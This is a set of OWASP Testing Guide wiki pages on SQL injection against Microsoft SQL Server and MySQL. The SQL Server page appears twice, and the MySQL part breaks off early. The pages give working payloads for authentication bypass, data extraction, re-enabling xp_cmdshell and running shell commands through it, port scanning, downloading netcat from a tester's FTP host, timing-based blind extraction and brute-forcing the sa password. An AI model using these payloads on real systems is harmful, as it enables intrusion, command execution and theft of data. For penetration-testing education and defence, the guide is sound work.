* If xp_cmdshell has been disabled with sp_dropextendedproc, we can simply inject the following code:
<pre>
sp_addextendedproc 'xp_cmdshell','xp_log70.dll'
</pre>
* If the previous code does not work, it means that the xp_log70.dll has been moved or deleted. In this case we need to inject the following code:
<pre>
CREATE PROCEDURE xp_cmdshell(@cmd varchar(255), @Wait int = 0) AS
DECLARE @result int, @OLEResult int, @RunResult int
DECLARE @ShellID int
EXECUTE @OLEResult = sp_OACreate 'WScript.Shell', @ShellID OUT
IF @OLEResult <> 0 SELECT @result = @OLEResult
IF @OLEResult <> 0 RAISERROR ('CreateObject %0X', 14, 1, @OLEResult)
EXECUTE @OLEResult = sp_OAMethod @ShellID, 'Run', Null, @cmd, 0, @Wait
IF @OLEResult <> 0 SELECT @result = @OLEResult
IF @OLEResult <> 0 RAISERROR ('Run %0X', 14, 1, @OLEResult)
EXECUTE @OLEResult = sp_OADestroy @ShellID
return @result
</pre>
This code, written by Antonin Foller (see links at the bottom of the page), creates a new xp_cmdshell using sp_oacreate, sp_method and sp_destroy (as long as they haven't been disabled too, of course). Before using it, we need to delete the first xp_cmdshell we created (even if it was not working), otherwise the two declarations will collide.
 
On SQL Server 2005, xp_cmdshell can be enabled injecting the following code instead:
<pre>
master..sp_configure 'show advanced options',1
reconfigure
master..sp_configure 'xp_cmdshell',1
reconfigure
</pre>

===Example 6: Referer / User-Agent===

The REFERER header set to:

Referer: <nowiki>https://vulnerable.web.app/login.aspx', 'user_agent', 'some_ip'); [SQL CODE]--</nowiki>

Allows the execution of arbitrary SQL Code. The same happens with the User-Agent header set to:

User-Agent: user_agent', 'some_ip'); [SQL CODE]--

===Example 7: SQL Server as a port scanner===

In SQL Server, one of the most useful (at least for the penetration tester) commands is OPENROWSET, which is used to run a query on another DB Server and retrieve the results. The penetration tester can use this command to scan ports of other machines in the target network, injecting the following query:
<pre>
select * from OPENROWSET('SQLOLEDB','uid=sa;pwd=foobar;Network=DBMSSOCN;Address=x.y.w.z,p;timeout=5','select 1')--
</pre>
This query will attempt a connection to the address x.y.w.z on port p. If the port is closed, the following message will be returned:
<pre>
SQL Server does not exist or access denied
</pre>
On the other hand, if the port is open, one of the following errors will be returned:
<pre>
General network error. Check your network documentation
</pre>
<pre>
OLE DB provider 'sqloledb' reported an error. The provider did not give any information about the error.
</pre>
Of course, the error message is not always available. If that is the case, we can use the response time to understand what is going on: with a closed port, the timeout (5 seconds in this example) will be consumed, whereas an open port will return the result right away.

Keep in mind that OPENROWSET is enabled by default in SQL Server 2000 but disabled in SQL Server 2005.

===Example 8: Upload of executables===

Once we can use xp_cmdshell (either the native one or a custom one), we can easily upload executables on the target DB Server. A very common choice is netcat.exe, but any trojan will be useful here.
If the target is allowed to start FTP connections to the tester's machine, all that is needed is to inject the following queries:
<pre>
exec master..xp_cmdshell 'echo open ftp.tester.org > ftpscript.txt';--
exec master..xp_cmdshell 'echo USER >> ftpscript.txt';--
exec master..xp_cmdshell 'echo PASS >> ftpscript.txt';--
exec master..xp_cmdshell 'echo bin >> ftpscript.txt';--
exec master..xp_cmdshell 'echo get nc.exe >> ftpscript.txt';--
exec master..xp_cmdshell 'echo quit >> ftpscript.txt';--
exec master..xp_cmdshell 'ftp -s:ftpscript.txt';--
</pre>
At this point, nc.exe will be uploaded and available.
 
If FTP is not allowed by the firewall, we have a workaround that exploits the Windows debugger, debug.exe, that is installed by default in all Windows machines. Debug.exe is scriptable and is able to create an executable by executing an appropriate script file. What we need to do is to convert the executable into a debug script (which is a 100% ascii file), upload it line by line and finally call debug.exe on it. There are several tools that create such debug files (e.g.: makescr.exe by Ollie Whitehouse and dbgtool.exe by toolcrypt.org). The queries to inject will therefore be the following:
<pre>
exec master..xp_cmdshell 'echo [debug script line #1 of n] > debugscript.txt';--
exec master..xp_cmdshell 'echo [debug script line #2 of n] >> debugscript.txt';--
....
exec master..xp_cmdshell 'echo [debug script line #n of n] >> debugscript.txt';--
exec master..xp_cmdshell 'debug.exe < debugscript.txt';--
</pre>
At this point, our executable is available on the target machine, ready to be executed.

There are tools that automate this process, most notably Bobcat, which runs on Windows, and Sqlninja, which runs on *nix (See the tools at the bottom of this page).

===Obtain information when it is not displayed (Out of band)===

Not all is lost when the web application does not return any information --such as descriptive error messages (cf. [[http://www.owasp.org/index.php/Blind_SQL_Injection|Blind SQL injection]]). For example, it might happen that one has access to the source code (e.g., because the web application is based on an open source software). Then, the pen tester can exploit all the SQL-injection vulnerabilities discovered offline in the web application. Although an IPS might stop some of these attacks, the best way would be to proceed as follows: develop and test the attacks in a testbed created for that purpose, and then execute these attacks against the web application being tested.

Other options for out of band attacks are described in Sample 4 above.

===Blind SQL injection attacks===

====Trial and error====
Alternatively, one may play lucky. That is the attacker may assume that there is a blind or out-of-band SQL-injection vulnerability in a the web application. He will then select an attack vector (e.g., a web entry), use fuzz vectors ([[http://www.owasp.org/index.php/OWASP_Testing_Guide_Appendix_C:_Fuzz_Vectors]]) against this channel and watch the response. For example, if the web application is looking for a book using a query

select * from books where title='''text entered by the user'''

then the penetration tester might enter the text: ''''Bomba' OR 1=1-''' and if data is not properly validated, the query will go through and return the whole list of books. This is evidence that there is a SQL-injection vulnerability. The penetration tester might later ''play'' with the queries in order to assess the criticality of this vulnerability.

====In case more than one error message is displayed====
On the other hand, if no prior information is available there is still a possibility of attacking by exploiting any ''covert channel''. It might happen that descriptive error messages are stopped, yet the error messages give some information. For example:

* On some cases the web application (actually the web server) might return the traditional ''500: Internal Server Error'', say when the application returns an exception that might be generated for instance by a query with unclosed quotes.
* While on other cases the server will return a 200 OK message, but the web application will return some error message inserted by the developers ''Internal server error'' or ''bad data''.

This 1 bit of information might be enough to understand how the dynamic SQL query is constructed by the web application and tune up an exploit.

Another out-of-band method is to output the results through HTTP browseable

====Timing attacks====
There is one more possibility for making a blind SQL-injection attack when there is not visible feedback from the application: by measuring the time that the web application takes to answer a request. An attack of this sort is described by Anley in ([2]) from where we take the next examples. A typical approach uses the ''waitfor delay'' command: let's say that the attacker wants to check if the 'pubs' sample database exists, he will simply inject the following command:

if exists (select * from pubs..pub_info) waitfor delay '0:0:5'

Depending on the time that the query takes to return, we will know the answer. In fact, what we have here is two things: a '''SQL-injection vulnerability''' and a '''covert channel''' that allows the penetration tester to get 1 bit of information for each query. Hence, using several queries (as much queries as the bits in the required information) the pen tester can get any data that is in the database. Look at the following query

declare @s varchar(8000)
declare @i int
select @s = db_name()
select @i = [some value]
if (select len(@s)) < @i waitfor delay '0:0:5'

Measuring the response time and using different values for @i, we can deduce the length of the name of the current database, and then start to extract the name itself with the following query:

if (ascii(substring(@s, @byte, 1)) & ( power(2, @bit))) > 0 waitfor delay '0:0:5'

This query will wait for 5 seconds if bit '@bit' of byte '@byte' of the name of the current database is 1, and will return at once if it is 0. Nesting two cycles (one for @byte and one for @bit) we will we able to extract the whole piece of information.

However, it might happen that the command ''waitfor'' is not available (e.g., because it is filtered by an IPS/web application firewall). This doesn't mean that blind SQL-injection attacks cannot be done, as the pen tester should only come up with any time consuming operation that is not filtered. For example

declare @i int select @i = 0
while @i < 0xaffff begin
select @i = @i + 1
end

====Checking for version and vulnerabilities====
The same timing approach can be used also to understand which version of SQL Server we are dealing with. Of course we will leverage the built-in @@version variable. Consider the following query:

select @@version

On SQL Server 2005, it will return something like the following:

Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86) Oct 14 2005 00:33:37 <snip>

The '2005' part of the string spans from the 22nd to the 25th character. Therefore, one query to inject can be the following:

if substring((select @@version),25,1) = 5 waitfor delay '0:0:5'

Such query will wait 5 seconds if the 25th character of the @@version variable is '5', showing us that we are dealing with a SQL Server 2005. If the query returns immediately, we are probably dealing with SQL Server 2000, and another similar query will help to clear all doubts.

===Example 9: bruteforce of sysadmin password===

To bruteforce the sysadmin password, we can leverage the fact that OPENROWSET needs proper credentials to successfully perform the connection and that such a connection can be also "looped" to the local DB Server.
Combining these features with an inferenced injection based on response timing, we can inject the following code:
<pre>
select * from OPENROWSET('SQLOLEDB','';'sa';'<pwd>','select 1;waitfor delay ''0:0:5'' ')
</pre>
What we do here is to attempt a connection to the local database (specified by the empty field after 'SQLOLEDB') using "sa" and "<pwd>" as credentials. If the password is correct and the connection is successful, the query is executed, making the DB wait for 5 seconds (and also returning a value, since OPENROWSET expects at least one column). Fetching the candidate passwords from a wordlist and measuring the time needed for each connection, we can attempt to guess the correct password. In "Data-mining with SQL Injection and Inference", David Litchfield pushes this technique even further, by injecting a piece of code in order to bruteforce the sysadmin password using the CPU resources of the DB Server itself.
Once we have the sysadmin password, we have two choices:

* Inject all following queries using OPENROWSET, in order to use sysadmin privileges

* Add our current user to the sysadmin group using sp_addsrvrolemember. The current user name can be extracted using inferenced injection against the variable system_user.

Remember that OPENROWSET is accessible to all users on SQL Server 2000 but it is restricted to administrative accounts on SQL Server 2005.

== References ==
'''Whitepapers''' 
* David Litchfield: "Data-mining with SQL Injection and Inference" - http://www.nextgenss.com/research/papers/sqlinference.pdf
* Chris Anley, "(more) Advanced SQL Injection" - http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf
* Steve Friedl's Unixwiz.net Tech Tips: "SQL Injection Attacks by Example" - http://www.unixwiz.net/techtips/sql-injection.html
* Alexander Chigrik: "Useful undocumented extended stored procedures" - http://www.mssqlcity.com/Articles/Undoc/UndocExtSP.htm
* Antonin Foller: "Custom xp_cmdshell, using shell object" - http://www.motobit.com/tips/detpg_cmdshell
* Paul Litwin: "Stop SQL Injection Attacks Before They Stop You" - http://msdn.microsoft.com/msdnmag/issues/04/09/SQLInjection/
* SQL Injection - http://msdn2.microsoft.com/en-us/library/ms161953.aspx

'''Tools''' 
* Francois Larouche: Multiple DBMS Sql Injection tool - [[http://www.sqlpowerinjector.com/index.htm SQL Power Injector]]
* Northern Monkee: [[http://www.northern-monkee.co.uk/projects/bobcat/bobcat.html Bobcat]]
* icesurfer: SQL Server Takeover Tool - [[http://sqlninja.sourceforge.net sqlninja]]
* Bernardo Damele and Daniele Bellucci: sqlmap, a blind SQL injection tool - http://sqlmap.sourceforge.net

{{Category:OWASP Testing Project AoC}}

Testing for SQL Server

2008-08-22T22:31:51Z

Marco: /* SQL Server Peculiarities */

[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]] 
{{Template:OWASP Testing Guide v2}}

== Brief Summary ==
 
In this paragraph we describe some [http://www.owasp.org/index.php/SQL_Injection_AoC SQL Injection] techniques that utilize specific features of Microsoft SQL Server.
 

== Short Description of the Issue ==
SQL injection vulnerabilities occur whenever input is used in the construction of an SQL query without being adequately constrained or sanitized. The use of dynamic SQL (the construction of SQL queries by concatenation of strings) opens the door to these vulnerabilities. SQL injection allows an attacker to access the SQL servers and execute of SQL code under the privileges of the user used to connect to the database.

As explained in [[SQL injection]] a SQL-injection exploit requires two things: an entry point and an exploit to enter. Any user-controlled parameter that gets processed by the application might be hiding a vulnerability. This includes:

* Application parameters in query strings (e.g., GET requests)
* Application parameters included as part of the body of a POST request
* Browser-related information (e.g., user-agent, referer)
* Host-related information (e.g., host name, IP)
* Session-related information (e.g., user ID, cookies)

Microsoft SQL server has a few particularities so that some exploits need to be specially customized for this application that the penetration tester has to know in order to exploit them along the tests.

== Black Box testing and example ==

===SQL Server Peculiarities===

To begin, let's see some SQL Server operators and commands/stored procedures that are useful in a SQL Injection test:

* comment operator: -- (useful for forcing the query to ignore the remaining portion of the original query, this won't be necessary in every case)
* query separator: ; (semicolon)
* Useful stored procedures include:
** [[http://msdn2.microsoft.com/en-us/library/ms175046.aspx xp_cmdshell]] executes any command shell in the server with the same permissions that it is currently running. By default, only '''sysadmin''' is allowed to use it and in SQL Server 2005 it is disabled by default (it can be enabled again using sp_configure)
** '''xp_regread''' reads an arbitrary value from the Registry (undocumented extended procedure)
** '''xp_regwrite''' writes an arbitrary value into the Registry (undocumented extended procedure)
** [[http://msdn2.microsoft.com/en-us/library/ms180099.aspx sp_makewebtask]] Spawns a Windows command shell and passes in a string for execution. Any output is returned as rows of text. It requires '''sysadmin''' privileges.
** [[http://msdn2.microsoft.com/en-US/library/ms189505.aspx xp_sendmail]] Sends an e-mail message, which may include a query result set attachment, to the specified recipients. This extended stored procedure uses SQL Mail to send the message.
 
Let's see now some examples of specific SQL Server attacks that use the aformentioned functions. Most of these examples will use the '''exec''' function.

Below we show how to execute a shell command that writes the output of the command ''dir c:\inetpub'' in a browseable file, assuming that the web server and the DB server reside on the same host. The following syntax uses xp_cmdshell:
<pre>
exec master.dbo.xp_cmdshell 'dir c:\inetpub > c:\inetpub\wwwroot\test.txt'--
</pre>
Alternatively, we can use sp_makewebtask:
<pre>
exec sp_makewebtask 'C:\Inetpub\wwwroot\test.txt', 'select * from master.dbo.sysobjects'--
</pre>
A successful execution will create a file that can be browsed by the pen tester. Keep in mind that sp_makewebtask is deprecated, and, even if it works in all SQL Server versions up to 2005, it might be removed in the future.

In addition, SQL Server built-in functions and environment variables are very handy. The following uses the function '''db_name()''' to trigger an error that will return the name of the database:
<pre>
/controlboard.asp?boardID=2&itemnum=1%20AND%201=CONVERT(int,%20db_name())
</pre>
Notice the use of [[http://msdn.microsoft.com/library/en-us/tsqlref/ts_ca-co_2f3o.asp convert]]:
<pre>
CONVERT ( data_type [ ( length ) ] , expression [ , style ] )
</pre>
CONVERT will try to convert the result of db_name (a string) into an integer variable, triggering an error, which, if displayed by the vulnerable application, will contain the name of the DB.

The following example uses the environment variable '''@@version ''', combined with a "union select"-style injection, in order to find the version of the SQL Server.
<pre>/form.asp?prop=33%20union%20select%201,2006-01-06,2007-01-06,1,'stat','name1','name2',2006-01-06,1,@@version%20--
</pre>
And here's the same attack, but using again the conversion trick:
<pre>
/controlboard.asp?boardID=2&itemnum=1%20AND%201=CONVERT(int,%20@@VERSION)
</pre>
Information gathering is useful for exploiting software vulnerabilities at the SQL Server, through the exploitation of a SQL-injection attack or direct access to the SQL listener.

In the following, we show several examples that exploit SQL injection vulnerabilities through different entry points.

===Example 1: Testing for SQL Injection in a GET request. ===

The most simple (and sometimes rewarding) case would be that of a login page requesting an user name and password for user login. You can try entering the following string "' or '1'='1" (without double quotes):

<nowiki>https://vulnerable.web.app/login.asp?Username='%20or%20'1'='1&Password='%20or%20'1'='1</nowiki>

If the application is using Dynamic SQL queries, and the string gets appended to the user credentials validation query, this may result in a successful login to the application.

===Example 2: Testing for SQL Injection in a GET request (2).===

In order to learn how many columns there exist

<nowiki>https://vulnerable.web.app/list_report.aspx?number=001%20UNION%20ALL%201,1,'a',1,1,1%20FROM%20users;--</nowiki>

===Example 3: Testing in a POST request ===

SQL Injection, HTTP POST Content: email=%27&whichSubmit=submit&submit.x=0&submit.y=0

A complete post example:

POST <nowiki>https://vulnerable.web.app/forgotpass.asp HTTP/1.1</nowiki>
Host: vulnerable.web.app
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 Paros/3.2.13
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: <nowiki>http://vulnerable.web.app/forgotpass.asp</nowiki>
Content-Type: application/x-www-form-urlencoded
Content-Length: 50 
email=%27&whichSubmit=submit&submit.x=0&submit.y=0

The error message obtained when a ' (single quote) character is entered at the email field is:

Microsoft OLE DB Provider for SQL Server error '80040e14'
Unclosed quotation mark before the character string '' '.
/forgotpass.asp, line 15

===Example 4: Yet another (useful) GET example===

Obtaining the application's source code

a' ; master.dbo.xp_cmdshell ' copy c:\inetpub\wwwroot\login.aspx c:\inetpub\wwwroot\login.txt';--

===Example 5: custom xp_cmdshell===

All books and papers describing the security best practices for SQL Server recommend to disable xp_cmdshell in SQL Server 2000 (in SQL Server 2005 it is disabled by default). However, if we have sysadmin rights (natively or by bruteforcing the sysadmin password, see below), we can often bypass this limitation.
 
On SQL Server 2000:
* If xp_cmdshell has been disabled with sp_dropextendedproc, we can simply inject the following code:
<pre>
sp_addextendedproc 'xp_cmdshell','xp_log70.dll'
</pre>
* If the previous code does not work, it means that the xp_log70.dll has been moved or deleted. In this case we need to inject the following code:
<pre>
CREATE PROCEDURE xp_cmdshell(@cmd varchar(255), @Wait int = 0) AS
DECLARE @result int, @OLEResult int, @RunResult int
DECLARE @ShellID int
EXECUTE @OLEResult = sp_OACreate 'WScript.Shell', @ShellID OUT
IF @OLEResult <> 0 SELECT @result = @OLEResult
IF @OLEResult <> 0 RAISERROR ('CreateObject %0X', 14, 1, @OLEResult)
EXECUTE @OLEResult = sp_OAMethod @ShellID, 'Run', Null, @cmd, 0, @Wait
IF @OLEResult <> 0 SELECT @result = @OLEResult
IF @OLEResult <> 0 RAISERROR ('Run %0X', 14, 1, @OLEResult)
EXECUTE @OLEResult = sp_OADestroy @ShellID
return @result
</pre>
This code, written by Antonin Foller (see links at the bottom of the page), creates a new xp_cmdshell using sp_oacreate, sp_method and sp_destroy (as long as they haven't been disabled too, of course). Before using it, we need to delete the first xp_cmdshell we created (even if it was not working), otherwise the two declarations will collide.
 
On SQL Server 2005, xp_cmdshell can be enabled injecting the following code instead:
<pre>
master..sp_configure 'show advanced options',1
reconfigure
master..sp_configure 'xp_cmdshell',1
reconfigure
</pre>

===Example 6: Referer / User-Agent===

The REFERER header set to:

Referer: <nowiki>https://vulnerable.web.app/login.aspx', 'user_agent', 'some_ip'); [SQL CODE]--</nowiki>

Allows the execution of arbitrary SQL Code. The same happens with the User-Agent header set to:

User-Agent: user_agent', 'some_ip'); [SQL CODE]--

===Example 7: SQL Server as a port scanner===

In SQL Server, one of the most useful (at least for the penetration tester) commands is OPENROWSET, which is used to run a query on another DB Server and retrieve the results. The penetration tester can use this command to scan ports of other machines in the target network, injecting the following query:
<pre>
select * from OPENROWSET('SQLOLEDB','uid=sa;pwd=foobar;Network=DBMSSOCN;Address=x.y.w.z,p;timeout=5','select 1')--
</pre>
This query will attempt a connection to the address x.y.w.z on port p. If the port is closed, the following message will be returned:
<pre>
SQL Server does not exist or access denied
</pre>
On the other hand, if the port is open, one of the following errors will be returned:
<pre>
General network error. Check your network documentation
</pre>
<pre>
OLE DB provider 'sqloledb' reported an error. The provider did not give any information about the error.
</pre>
Of course, the error message is not always available. If that is the case, we can use the response time to understand what is going on: with a closed port, the timeout (5 seconds in this example) will be consumed, whereas an open port will return the result right away.

Keep in mind that OPENROWSET is enabled by default in SQL Server 2000 but disabled in SQL Server 2005.

===Example 8: Upload of executables===

Once we can use xp_cmdshell (either the native one or a custom one), we can easily upload executables on the target DB Server. A very common choice is netcat.exe, but any trojan will be useful here.
If the target is allowed to start FTP connections to the tester's machine, all that is needed is to inject the following queries:
<pre>
exec master..xp_cmdshell 'echo open ftp.tester.org > ftpscript.txt';--
exec master..xp_cmdshell 'echo USER >> ftpscript.txt';--
exec master..xp_cmdshell 'echo PASS >> ftpscript.txt';--
exec master..xp_cmdshell 'echo bin >> ftpscript.txt';--
exec master..xp_cmdshell 'echo get nc.exe >> ftpscript.txt';--
exec master..xp_cmdshell 'echo quit >> ftpscript.txt';--
exec master..xp_cmdshell 'ftp -s:ftpscript.txt';--
</pre>
At this point, nc.exe will be uploaded and available.
 
If FTP is not allowed by the firewall, we have a workaround that exploits the Windows debugger, debug.exe, that is installed by default in all Windows machines. Debug.exe is scriptable and is able to create an executable by executing an appropriate script file. What we need to do is to convert the executable into a debug script (which is a 100% ascii file), upload it line by line and finally call debug.exe on it. There are several tools that create such debug files (e.g.: makescr.exe by Ollie Whitehouse and dbgtool.exe by toolcrypt.org). The queries to inject will therefore be the following:
<pre>
exec master..xp_cmdshell 'echo [debug script line #1 of n] > debugscript.txt';--
exec master..xp_cmdshell 'echo [debug script line #2 of n] >> debugscript.txt';--
....
exec master..xp_cmdshell 'echo [debug script line #n of n] >> debugscript.txt';--
exec master..xp_cmdshell 'debug.exe < debugscript.txt';--
</pre>
At this point, our executable is available on the target machine, ready to be executed.

There are tools that automate this process, most notably Bobcat, which runs on Windows, and Sqlninja, which runs on *nix (See the tools at the bottom of this page).

===Obtain information when it is not displayed (Out of band)===

Not all is lost when the web application does not return any information --such as descriptive error messages (cf. [[http://www.owasp.org/index.php/Blind_SQL_Injection|Blind SQL injection]]). For example, it might happen that one has access to the source code (e.g., because the web application is based on an open source software). Then, the pen tester can exploit all the SQL-injection vulnerabilities discovered offline in the web application. Although an IPS might stop some of these attacks, the best way would be to proceed as follows: develop and test the attacks in a testbed created for that purpose, and then execute these attacks against the web application being tested.

Other options for out of band attacks are described in Sample 4 above.

===Blind SQL injection attacks===

====Trial and error====
Alternatively, one may play lucky. That is the attacker may assume that there is a blind or out-of-band SQL-injection vulnerability in a the web application. He will then select an attack vector (e.g., a web entry), use fuzz vectors ([[http://www.owasp.org/index.php/OWASP_Testing_Guide_Appendix_C:_Fuzz_Vectors]]) against this channel and watch the response. For example, if the web application is looking for a book using a query

select * from books where title='''text entered by the user'''

then the penetration tester might enter the text: ''''Bomba' OR 1=1-''' and if data is not properly validated, the query will go through and return the whole list of books. This is evidence that there is a SQL-injection vulnerability. The penetration tester might later ''play'' with the queries in order to assess the criticality of this vulnerability.

====In case more than one error message is displayed====
On the other hand, if no prior information is available there is still a possibility of attacking by exploiting any ''covert channel''. It might happen that descriptive error messages are stopped, yet the error messages give some information. For example:

* On some cases the web application (actually the web server) might return the traditional ''500: Internal Server Error'', say when the application returns an exception that might be generated for instance by a query with unclosed quotes.
* While on other cases the server will return a 200 OK message, but the web application will return some error message inserted by the developers ''Internal server error'' or ''bad data''.

This 1 bit of information might be enough to understand how the dynamic SQL query is constructed by the web application and tune up an exploit.

Another out-of-band method is to output the results through HTTP browseable

====Timing attacks====
There is one more possibility for making a blind SQL-injection attack when there is not visible feedback from the application: by measuring the time that it takes the web application to answer a request. An attack of this sort is described by Anley in ([2]) from where we take the next examples. A typical approach uses the ''waitfor delay'' command: let's say that the attacker wants to check if the 'pubs' sample database exists, he will simply inject the following command:

if exists (select * from pubs..pub_info) waitfor delay '0:0:5'

Depending on the time that the query takes to return, we will know the answer. In fact, what we have here is two things: a '''SQL-injection vulnerability''' and a '''covert channel''' that allows the penetration tester to get 1 bit of information for each query. Hence, using several queries (as much queries as the bits in the required information) the pen tester can get any data that is in the database. Look at the following query

declare @s varchar(8000)
declare @i int
select @s = db_name()
select @i = [some value]
if (select len(@s)) < @i waitfor delay '0:0:5'

Measuring the response time and using different values for @i, we can deduce the length of the name of the current database, and then start to extract the name itself with the following query:

if (ascii(substring(@s, @byte, 1)) & ( power(2, @bit))) > 0 waitfor delay '0:0:5'

This query will wait for 5 seconds if bit '@bit' of byte '@byte' of the name of the current database is 1, and will return at once if it is 0. Nesting two cycles (one for @byte and one for @bit) we will we able to extract the whole piece of information.

However, it might happen that the command ''waitfor'' is not available (e.g., because it is filtered by an IPS/web application firewall). This doesn't mean that blind SQL-injection attacks cannot be done, as the pen tester should only come up with any time consuming operation that is not filtered. For example

declare @i int select @i = 0
while @i < 0xaffff begin
select @i = @i + 1
end

====Checking for version and vulnerabilities====
The same timing approach can be used also to understand which version of SQL Server we are dealing with. Of course we will leverage the built-in @@version variable. Consider the following query:

select @@version

On SQL Server 2005, it will return something like the following:

Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86) Oct 14 2005 00:33:37 <snip>

The '2005' part of the string spans from the 22nd to the 25th character. Therefore, one query to inject can be the following:

if substring((select @@version),25,1) = 5 waitfor delay '0:0:5'

Such query will wait 5 seconds if the 25th character of the @@version variable is '5', showing us that we are dealing with a SQL Server 2005. If the query returns immediately, we are probably dealing with SQL Server 2000, and another similar query will help to clear all doubts.

===Example 9: bruteforce of sysadmin password===

To bruteforce the sysadmin password, we can leverage the fact that OPENROWSET needs proper credentials to successfully perform the connection and that such a connection can be also "looped" to the local DB Server.
Combining these features with an inferenced injection based on response timing, we can inject the following code:
<pre>
select * from OPENROWSET('SQLOLEDB','';'sa';'<pwd>','select 1;waitfor delay ''0:0:5'' ')
</pre>
What we do here is to attempt a connection to the local database (specified by the empty field after 'SQLOLEDB') using "sa" and "<pwd>" as credentials. If the password is correct and the connection is successful, the query is executed, making the DB wait for 5 seconds (and also returning a value, since OPENROWSET expects at least one column). Fetching the candidate passwords from a wordlist and measuring the time needed for each connection, we can attempt to guess the correct password. In "Data-mining with SQL Injection and Inference", David Litchfield pushes this technique even further, by injecting a piece of code in order to bruteforce the sysadmin password using the CPU resources of the DB Server itself.
Once we have the sysadmin password, we have two choices:

* Inject all following queries using OPENROWSET, in order to use sysadmin privileges

* Add our current user to the sysadmin group using sp_addsrvrolemember. The current user name can be extracted using inferenced injection against the variable system_user.

Remember that OPENROWSET is accessible to all users on SQL Server 2000 but it is restricted to administrative accounts on SQL Server 2005.

== References ==
'''Whitepapers''' 
* David Litchfield: "Data-mining with SQL Injection and Inference" - http://www.nextgenss.com/research/papers/sqlinference.pdf
* Chris Anley, "(more) Advanced SQL Injection" - http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf
* Steve Friedl's Unixwiz.net Tech Tips: "SQL Injection Attacks by Example" - http://www.unixwiz.net/techtips/sql-injection.html
* Alexander Chigrik: "Useful undocumented extended stored procedures" - http://www.mssqlcity.com/Articles/Undoc/UndocExtSP.htm
* Antonin Foller: "Custom xp_cmdshell, using shell object" - http://www.motobit.com/tips/detpg_cmdshell
* Paul Litwin: "Stop SQL Injection Attacks Before They Stop You" - http://msdn.microsoft.com/msdnmag/issues/04/09/SQLInjection/
* SQL Injection - http://msdn2.microsoft.com/en-us/library/ms161953.aspx

'''Tools''' 
* Francois Larouche: Multiple DBMS Sql Injection tool - [[http://www.sqlpowerinjector.com/index.htm SQL Power Injector]]
* Northern Monkee: [[http://www.northern-monkee.co.uk/projects/bobcat/bobcat.html Bobcat]]
* icesurfer: SQL Server Takeover Tool - [[http://sqlninja.sourceforge.net sqlninja]]
* Bernardo Damele and Daniele Bellucci: sqlmap, a blind SQL injection tool - http://sqlmap.sourceforge.net

{{Category:OWASP Testing Project AoC}}

Testing for MySQL

2008-08-22T22:26:03Z

Marco: /* Blind SQL Injection */

[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]] 
{{Template:OWASP Testing Guide v2}}

== Short Description of the Issue ==
[[SQL Injection]] vulnerabilities occur whenever input is used in the construction of an SQL query without being adequately constrained or sanitized. The use of dynamic SQL (the construction of SQL queries by concatenation of strings) opens the door to these vulnerabilities. SQL injection allows an attacker to access the SQL servers. It allows for the execution of SQL code under the privileges of the user used to connect to the database.

''MySQL server'' has a few particularities so that some exploits need to be
specially customized for this application. That's the subject of this section.

== Black Box testing and example ==

=== How to Test ===
When a SQL injection vulnerability is found in an application backed by a MySQL database,
there are a number of attacks that could be performed depending
on the MySQL version and user privileges on DBMS.

MySQL comes with at least four versions which are used in production worldwide.
3.23.x, 4.0.x, 4.1.x and 5.0.x.
Every version has a set of features proportional to version number.

* From Version 4.0: UNION
* From Version 4.1: Subqueries
* From Version 5.0: Stored procedures, Stored functions and the view named INFORMATION_SCHEMA
* From Version 5.0.2: Triggers

It should be noted that for MySQL versions before 4.0.x, only Boolean or time-based Blind Injection attacks could be used, since the subquery functionality or UNION statements were not implemented.

From now on, we will assume that there is a classic SQL injection vulnerability, which can be triggered by a request similar to the the one described in the Section on [[Testing for SQL Injection]].

<nowiki>http://www.example.com/page.php?id=2</nowiki>

=== The single Quotes Problem ===
Before taking advantage of MySQL features,
it has to be taken in consideration how strings could be represented
in a statement, as often web applications escape single quotes.

MySQL quote escaping is the following: 
''' <nowiki>'A string with \'quotes\''</nowiki> '''

That is, MySQL interprets escaped apostrophes (\') as characters and not as
metacharacters.

So if using constant strings is needed,
two cases are to be differentiated:
# Web app escapes single quotes (' => \')
# Web app does not escape single quotes (' => ')

Under MySQL, there is some standard way to bypass the need of single quotes, anyway there is some trick to have a constant string to be declared without the needs of single quotes.

Let's suppose we want to know the value of a field named 'password' in a record,
with a condition like the following:
password like 'A%'

# The ascii values in a concatenated hex: 
#: password LIKE 0x4125
# The char() function:
#: password LIKE CHAR(65,37)

=== Multiple mixed queries: ===

MySQL library connectors do not support multiple queries separated
by '''<nowiki>';'</nowiki>''' so there's no way to inject multiple non homogeneous SQL commands inside a single SQL injection vulnerability like in Microsoft SQL Server.

As an example the following injection will result in an error:

1 ; update tablename set code='javascript code' where 1 --

=== Information gathering ===

==== Fingerprinting MySQL ====

Of course, the first thing to know is if there's MySQL DBMS as a backend.

MySQL server has a feature that is used to let other DBMS ignore a clause in MySQL
dialect. When a comment block ''('/**/')'' contains an exlamation mark ''('/*! sql here*/')'' it is interpreted by MySQL, and is considered as a normal comment block by other DBMS
as explained in [[http://dev.mysql.com/doc/refman/5.0/en/comments.html MySQL manual]].

E.g.:
1 /*! and 1=0 */

'''Result Expected:''' 
''If MySQL is present, the clause inside the comment block will be interpreted.''

==== Version ====

There are three ways to gain this information:
# By using the global variable @@version
# By using the function [[http://dev.mysql.com/doc/refman/5.0/en/information-functions.html VERSION()]]
# By using comment fingerprinting with a version number /*!40110 and 1=0*/
#: which means
<nowiki>if(version >= 4.1.10)
add 'and 1=0' to the query.</nowiki>

These are equivalent as the result is the same.

In band injection:

1 AND 1=0 UNION SELECT @@version /*

Inferential injection:

1 AND @@version like '4.0%'

'''Result Expected:''' 
''A string like this: '''5.0.22-log''' ''

==== Login User ====

There are two kinds of users MySQL Server relies.
# [[http://dev.mysql.com/doc/refman/5.0/en/information-functions.html USER()]]: the user connected to the MySQL Server.
